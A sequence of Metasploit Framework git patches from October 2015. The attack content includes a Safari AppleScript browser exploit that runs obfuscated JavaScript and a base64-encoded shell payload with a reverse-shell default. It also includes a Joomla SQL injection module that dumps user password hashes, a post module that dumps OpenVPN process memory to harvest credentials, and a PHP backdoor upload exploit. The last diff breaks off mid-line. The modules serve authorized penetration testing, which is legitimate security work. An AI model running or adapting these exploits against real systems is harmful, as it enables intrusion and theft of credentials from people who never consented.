@@ class Metasploit4 < Msf::Exploit::Local "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" end - def cleanup(crontab_original) + def cleanup + # Include superclass cleanup + super # Restore crontab back to is original state # If we don't do this, then cron will continue to append the no password rule to sudoers. - if crontab_original.nil? + if @crontab_original.nil? # Erase crontab file and kill cron process since it did not exist before vprint_status("Removing crontab file since it did not exist prior to exploit. No need for it anymore.") rm_f("/etc/crontab") @@ -194,7 +196,7 @@ class Metasploit4 < Msf::Exploit::Local else # Write back the original content of crontab vprint_status("Restoring crontab file back to original contents. No need for it anymore.") - write_file("/etc/crontab", crontab_original) + write_file("/etc/crontab", @crontab_original) end end end From 810665847b597c54ead051defcd1a772f1a65f3b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 22 Oct 2015 08:40:50 -0400 Subject: [PATCH 0950/2172] Add stageless python meterpreter to the payloads spec --- .../framework/spec/untested_payloads.rb | 4 ++-- spec/modules/payloads_spec.rb | 20 +++++++++++++++++++ 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/lib/metasploit/framework/spec/untested_payloads.rb b/lib/metasploit/framework/spec/untested_payloads.rb index fea2860e1a..f949076df9 100644 --- a/lib/metasploit/framework/spec/untested_payloads.rb +++ b/lib/metasploit/framework/spec/untested_payloads.rb @@ -44,7 +44,7 @@ module Metasploit untested_payloads_pathname = Pathname.new 'log/untested-payloads.log' if untested_payloads_pathname.exist? - tool_path = 'tools/missing_payload_tests.rb' + tool_path = 'tools/modules/missing_payload_tests.rb' $stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \ "`spec/modules/payloads_spec.rb` to test those payload ancestor reference names." @@ -58,4 +58,4 @@ module Metasploit end end end -end \ No newline at end of file +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 553606f01d..9938443e12 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2245,6 +2245,26 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter/reverse_tcp_uuid' end + context 'python/meterpreter_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_bind_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_bind_tcp' + end + + context 'python/meterpreter_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_reverse_tcp' + end + context 'python/shell_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From b4a8f8049381a631e45032411b7a7259d1d710fe Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 22 Oct 2015 08:54:14 -0400 Subject: [PATCH 0951/2172] Update the cached size for the current met file --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index bf7069cef5..b6c3ed2b45 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49482 + CachedSize = 49234 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index f4aabdd443..0298370cf8 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49398 + CachedSize = 49234 include Msf::Payload::Single include Msf::Payload::Python From 6a87e7cd7719c48c5fc6f3cb0bc1e0b45ec7d2cb Mon Sep 17 00:00:00 2001 From: joev Date: Thu, 22 Oct 2015 09:46:56 -0500 Subject: [PATCH 0952/2172] Add osx safari cmd-R applescript exploit. --- .../safari_user_assisted_applescript_exec.rb | 85 +++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb diff --git a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb new file mode 100644 index 0000000000..94dd20d819 --- /dev/null +++ b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Safari User-Assisted Applescript Exec Attack', + 'Description' => %q{ + In versions of Mac OS X before 10.11.1, the applescript:// URL + scheme is provided, which opens the provided script in the Applescript + Editor. Pressing cmd-R in the Editor executes the code without any + additional confirmation from the user. By getting the user to press + cmd-R in Safari, and by hooking the cmd-key keypress event, a user + can be tricked into running arbitrary Applescript code. + }, + 'License' => MSF_LICENSE, + 'Arch' => ARCH_CMD, + 'Platform' => ['unix', 'osx'], + 'Compat' => + { + 'PayloadType' => 'cmd' + }, + 'Targets' => + [ + [ 'Mac OS X', {} ] + ], + 'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 16 2015', + 'Author' => [ 'joev' ], + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::SAFARI, + :os_name => OperatingSystems::Match::MAC_OSX + } + )) + + register_options([ + OptString.new('CONTENT', [false, "Content to display in browser", + "This page has failed to load. Press cmd-R to refresh."]), + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) + ], self.class) + end + + def on_request_exploit(cli, request, profile) + print_status("Sending #{self.name}") + send_response_html(cli, exploit_html) + end + + def exploit_html + "#{content}" + end + + def exploit_js + js_obfuscate %Q| + var as = Array(150).join("\\n") + + 'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"'; + var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as); + window.onkeydown = function(e) { + if (e.keyCode == 91) { + window.location = url; + } + }; + | + end + + def sh + 'killall "Script Editor"; nohup ' + payload.encoded + end + + def content + datastore['CONTENT'] + end + + +end From 35578c729285625af546e603648ad1a1f2bf9a65 Mon Sep 17 00:00:00 2001 From: joev Date: Thu, 22 Oct 2015 09:48:11 -0500 Subject: [PATCH 0953/2172] Add refs. --- .../osx/browser/safari_user_assisted_applescript_exec.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb index 94dd20d819..6f3bc2dbf1 100644 --- a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb +++ b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb @@ -37,6 +37,11 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2015', 'Author' => [ 'joev' ], + 'References' => + [ + [ 'CVE', '2015-7007' ], + [ 'URL', 'https://support.apple.com/en-us/HT205375' ] + ], 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::SAFARI, From 0bce90654f939e5ff3a406b1dd8d89ac1eb474b3 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 22 Oct 2015 15:11:55 -0200 Subject: [PATCH 0954/2172] Changed path to save dump data --- modules/post/linux/gather/openvpn_credentials.rb | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 97c71b3a92..3d6b927158 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -34,7 +34,8 @@ class Metasploit4 < Msf::Post register_options( [ - OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']) + OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']), + OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/']) ], self.class ) end @@ -43,6 +44,10 @@ class Metasploit4 < Msf::Post datastore['PID'] end + def tmp_path + datastore['TMP_PATH'] + end + def run user = cmd_exec('/usr/bin/whoami') print_good("Module running as \"#{user}\" user") @@ -52,9 +57,9 @@ class Metasploit4 < Msf::Post return end - cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done') - strings = cmd_exec('/usr/bin/strings *.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk \'{print "User: "$1"\nPass: "$2}\'') - cmd_exec('/bin/rm *.dump --force') + cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done') + strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'") + cmd_exec("/bin/rm #{tmp_path}*.dump --force") if strings.empty? print_error('No credentials. You can check if the PID is correct.') From e4281dd1fb67349e78b04871587e3d4a5b32bd03 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Thu, 22 Oct 2015 15:05:02 -0500 Subject: [PATCH 0955/2172] Create joomla_contenthistory_sqli.rb --- .../gather/joomla_contenthistory_sqli.rb | 139 ++++++++++++++++++ 1 file changed, 139 insertions(+) create mode 100644 modules/auxiliary/gather/joomla_contenthistory_sqli.rb diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb new file mode 100644 index 0000000000..53fa91370d --- /dev/null +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla com_contenthistory Error-Based SQL Injection', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in Joomla versions 3.2 through 3.4.4 + in order to either enumerate usernames and password hashes or session IDs. + }, + 'References' => + [ + ['CVE', '2015-7297'], + ['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/'] + ], + 'Author' => + [ + 'Asaf Orpani', #discovery + 'bperry' #metasploit module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Oct 22 2015" + )) + + register_options( + [ + OptString.new("TARGETURI", [true, 'The relative URI of the Joomla instance', '/']), + OptString.new('ACTION', [ true, 'Enumerate session IDs [SESSIONS] or password hashes [HASHES]','HASHES' ] ), + ], self.class) + end + + def check + flag = Rex::Text.rand_text_alpha(8) + left_marker = Rex::Text.rand_text_alpha(5) + right_marker = Rex::Text.rand_text_alpha(5) + + payload = "AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT 0x#{flag.unpack("H*")[0]}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + + res = sqli(payload) + + if res and res.body =~ /#{left_marker}#{flag}#{right_marker}/ + return Msf::Exploit::CheckCode::Vulnerable + end + + return Msf::Exploit::CheckCode::Safe + end + + def run + left_marker = Rex::Text.rand_text_alpha(5) + right_marker = Rex::Text.rand_text_alpha(5) + + if datastore['ACTION'] == 'HASHES' + db_count = "AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(db_count) + db_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + + dbs = [] + 0.upto(db_count-1) do |i| + db = "AND (SELECT 2255 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + + res = sqli(db) + dbs << $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + end + + dbs.delete('performance_schema') + dbs.delete('information_schema') + dbs.delete('mysql') + + users = [] + dbs.each do |db| + + tables = [] + table_count = "AND (SELECT 8640 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]})),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(table_count) + table_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + + 0.upto(table_count-1) do |i| + table = "AND (SELECT 2474 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]}) LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(table) + table = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + tables << table if table =~ /_users$/ + end + + tables.each do |table| + + user_count = "AND (SELECT 3737 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{db}.#{table}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(user_count) + user_count = $1.to_i if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + cols = ["activation","block","email","id","lastResetTime","lastvisitDate","name","otep","otpKey","params","password","registerDate","requireReset","resetCount","sendEmail","username"] + + 0.upto(user_count-1) do |i| + user = {} + cols.each do |col| + k = 1 + val = nil + user[col] = '' + while val != '' + get_col = "AND (SELECT 7072 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),#{k},54) FROM #{db}.#{table} ORDER BY id LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(get_col) + val = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + user[col] << val + k = k + 54 + end + end + users << user + end + end + end + p users.to_json + elsif datastore['ACTION'] == 'SESSIONS' + + else + fail_with(Failure::Unknown, "The ACTION " + datastore['ACTION'] + " is not supported.") + end + end + + def sqli(payload) + return send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'vars_get' => { + 'option' => 'com_contenthistory', + 'view' => 'history', + 'list[ordering]' => '', + 'item_id' => 1, + 'type_id' => 1, + 'list[select]' => "1 " + payload + } + }) + end +end From 9d2e2df1f1a76426caa34580f0a99c1e759f51c9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 22 Oct 2015 15:07:11 -0500 Subject: [PATCH 0956/2172] Update description --- .../osx/browser/safari_user_assisted_applescript_exec.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb index 6f3bc2dbf1..3ba0b94a96 100644 --- a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb +++ b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb @@ -21,6 +21,9 @@ class Metasploit3 < Msf::Exploit::Remote additional confirmation from the user. By getting the user to press cmd-R in Safari, and by hooking the cmd-key keypress event, a user can be tricked into running arbitrary Applescript code. + + Gatekeeper should be disabled from Security & Privacy in order to + avoid the unidentified Developer prompt. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_CMD, From f00f90532a6acf59be1878dd7dff15929148df75 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 22 Oct 2015 15:14:45 -0500 Subject: [PATCH 0957/2172] Fix SSH_DEBUG for ssh_login{,_pubkey} --- modules/auxiliary/scanner/ssh/ssh_login.rb | 2 ++ modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb | 2 ++ 2 files changed, 4 insertions(+) diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index 599917e2dc..e6925f9660 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -121,6 +121,8 @@ class Metasploit3 < Msf::Auxiliary framework_module: self, ) + scanner.verbosity = :debug if datastore['SSH_DEBUG'] + scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index 9a4d75ae19..2fd040823b 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -214,6 +214,8 @@ class Metasploit3 < Msf::Auxiliary framework_module: self, ) + scanner.verbosity = :debug if datastore['SSH_DEBUG'] + scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( From d5a010c2309b20d467a8de33991e8e4fa873bddd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Oct 2015 16:07:38 -0500 Subject: [PATCH 0958/2172] Add support for registry_key_exist? --- lib/msf/core/post/windows/registry.rb | 54 +++++++++++++++++++ .../extensions/stdapi/sys/registry.rb | 16 ++++++ test/modules/post/test/registry.rb | 3 +- 3 files changed, 71 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 720e49dbef..c5c76fc85f 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -145,6 +145,19 @@ module Registry end end + # Checks if a key exists on the target registry + # + # @param key [String] the full path of the key to check + # @return [Boolean] true if the key exists on the target registry, false otherwise + # (also in case of error) + def registry_key_exist?(key) + if session_has_registry_ext + meterpreter_registry_key_exist?(key) + else + shell_registry_key_exist?(key) + end + end + protected # @@ -310,6 +323,26 @@ protected shell_registry_cmd_result("add /f \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f", view) end + # Checks if a key exists on the target registry using a shell session + # + # @param key [String] the full path of the key to check + # @return [Boolean] true if the key exists on the target registry, false otherwise, + # even if case of error (invalid arguments) or the session hasn't permission to + # access the key + def shell_registry_key_exist?(key) + begin + key = normalize_key(key) + rescue ArgumentError + return false + end + + results = shell_registry_cmd("query \"#{key}\"") + if results =~ /ERROR: /i + return false + else + return true + end + end ## # Meterpreter-specific registry manipulation methods @@ -515,6 +548,27 @@ protected end end + # Checks if a key exists on the target registry using a meterpreter session + # + # @param key [String] the full path of the key to check + # @return [Boolean] true if the key exists on the target registry, false otherwise + # (also in case of error) + def meterpreter_registry_key_exist?(key) + begin + root_key, base_key = session.sys.registry.splitkey(key) + rescue ArgumentError + return false + end + + begin + check = session.sys.registry.check_key_exists(root_key, base_key) + rescue Rex::Post::Meterpreter::RequestError, TimesoutError + return false + end + + check + end + # # Normalize the supplied full registry key string so the root key is sane. For # instance, passing "HKLM\Software\Dog" will return 'HKEY_LOCAL_MACHINE\Software\Dog' diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 269512cd10..79fe74abfe 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -77,6 +77,22 @@ class Registry client, root_key, base_key, perm, response.get_tlv(TLV_TYPE_HKEY).value) end + # Checks if a key exists on the target registry + # + # @param root_key [String] the root part of the key path. Ex: HKEY_LOCAL_MACHINE + # @param base_key [String] the base part of the key path + # @return [Boolean] true if the key exists on the target registry, false otherwise, even + # it the session hasn't permissions to access the target key. + # @raise [TimeoutError] if the timeout expires when waiting the answer + # @raise [Rex::Post::Meterpreter::RequestError] if the parameters are not valid + def Registry.check_key_exists(root_key, base_key) + request = Packet.create_request('stdapi_registry_check_key_exists') + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + response = client.send_request(request) + return response.get_tlv(TLV_TYPE_BOOL).value + end + # # Opens the supplied registry key on the specified remote host. Requires that the # current process has credentials to access the target and that the target has the diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index a95defaafa..89bf6415e6 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -31,8 +31,7 @@ class Metasploit3 < Msf::Post end def test_0_registry_read - pending "should evaluate key existence" do - # these methods are not implemented + it "should evaluate key existence" do k_exists = registry_key_exist?(%q#HKCU\Environment#) k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) From be89cb32c9a69ad1db002982ef5c8c439147e63a Mon Sep 17 00:00:00 2001 From: JT Date: Fri, 23 Oct 2015 08:47:40 +0800 Subject: [PATCH 0959/2172] Th3 MMA mma.php Backdoor Arbitrary File Upload --- .../multi/http/mma_backdoor_upload.rb | 100 ++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 modules/exploits/multi/http/mma_backdoor_upload.rb diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb new file mode 100644 index 0000000000..c679d2ea14 --- /dev/null +++ b/modules/exploits/multi/http/mma_backdoor_upload.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload', + 'Description' => %q{ + This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that + leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or + operating system version because of the php_uname() function. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jay Turla <@shipcod3>', + ], + 'References' => + [ + ['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 10000, + 'DisableNops' => true + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['mma file uploader', {} ] + ], + 'DisclosureDate' => 'Apr 2 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "mma.php"]), + ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one + end + + def check + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res && res.body =~ /_upl/ + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + def exploit + uri = normalize_uri(target_uri.path) + @payload_name = "#{rand_text_alpha(5)}.php" + + print_status("#{peer} - Trying to upload #{@payload_name} to mma.php Backdoor") + + data = Rex::MIME::Message.new + + data.add_part('Upload', nil, nil, 'form-data; name="_upl"') + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@payload_name}\"") + post_data = data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }) + + if res + if res.body =~ /uplod d0n3 in SAME file/ + print_good("#{peer} - Our payload #{@payload_name} has been uploaded. Calling payload...") + register_files_for_cleanup(@payload_name) + else + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") + end + else + fail_with(Failure::Unknown, 'ERROR') + end + + res = send_request_cgi({ + 'uri' => normalize_uri(@payload_name), + 'method' => 'GET' + }) + end +end From 4bc2437e0b0c114b584e4f9b3bb9405fd4dc1209 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 22 Oct 2015 20:00:47 -0500 Subject: [PATCH 0960/2172] Temporary hack to test --- lib/rex/post/meterpreter/extensions/android/tlv.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 55925b60cb..8325d33bd7 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -54,6 +54,9 @@ TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL +# Temporary reuse +TLV_TYPE_COLLECT_RESULT_GEO = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) + end end end From 5539363218f1815d762b8ece7419351414a80ce7 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" Date: Fri, 23 Oct 2015 11:33:59 +0200 Subject: [PATCH 0961/2172] Update uptime_code_exec.rb --- .../exploits/multi/http/uptime_code_exec.rb | 106 +++++++++--------- 1 file changed, 55 insertions(+), 51 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 460042675f..b0fe4b0ce3 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -10,44 +10,45 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Uptime Version 7.4.0 / 7.5.0 Upload and Exec file', - 'Description' => ' - This module exploits a vulnerability found in Uptime - version 7.4.0 and 7.5.0 By supplying a specially - crafted request is possible to upload file and execute - arbitrary commands through privilege escalation. - ', - 'License' => MSF_LICENSE, - 'Author' => [ - 'Ewerson Guimaraes(Crash) ', - 'Gjoko Krstic(LiquidWorm) ' - ], - 'References' => [ - ['URL', 'https://www.exploit-db.com/exploits/37888/'] - ], - 'Payload' => { - 'Space' => 100_000, - 'DisableNops' => true - }, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => [ - ['Automatic', {}] - ], - 'DefaultOptions' => { - 'SSL' => false - }, - 'Privileged' => 'True', - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Aug 6 2015' - )) + 'Name' => 'Uptime Version 7.4.0 / 7.5.0 Upload and Exec file', + 'Description' => %q{ + This module exploits a vulnerability found in Uptime + version 7.4.0 and 7.5.0 By supplying a specially + crafted request is possible to upload file and execute + arbitrary commands through privilege escalation. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ewerson Guimaraes(Crash) ', + 'Gjoko Krstic(LiquidWorm) ' + ], + 'References' => + [ + ['EDB', '37888'] + ], + 'Payload' => + { + 'Space' => 100_000, + 'DisableNops' => true + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic', {}]], + 'DefaultOptions' => + { + 'SSL' => false + }, + 'Privileged' => 'True', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 6 2015')) - register_options([ - Opt::RPORT(9999), - OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']), - OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) - - ], self.class) + register_options( + [ + Opt::RPORT(9999), + OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) + ], self.class) end # Application Check def check @@ -57,7 +58,7 @@ class Metasploit4 < Msf::Exploit::Remote ) vprint_status("#{peer} - Checking version...") - if !res.nil? && 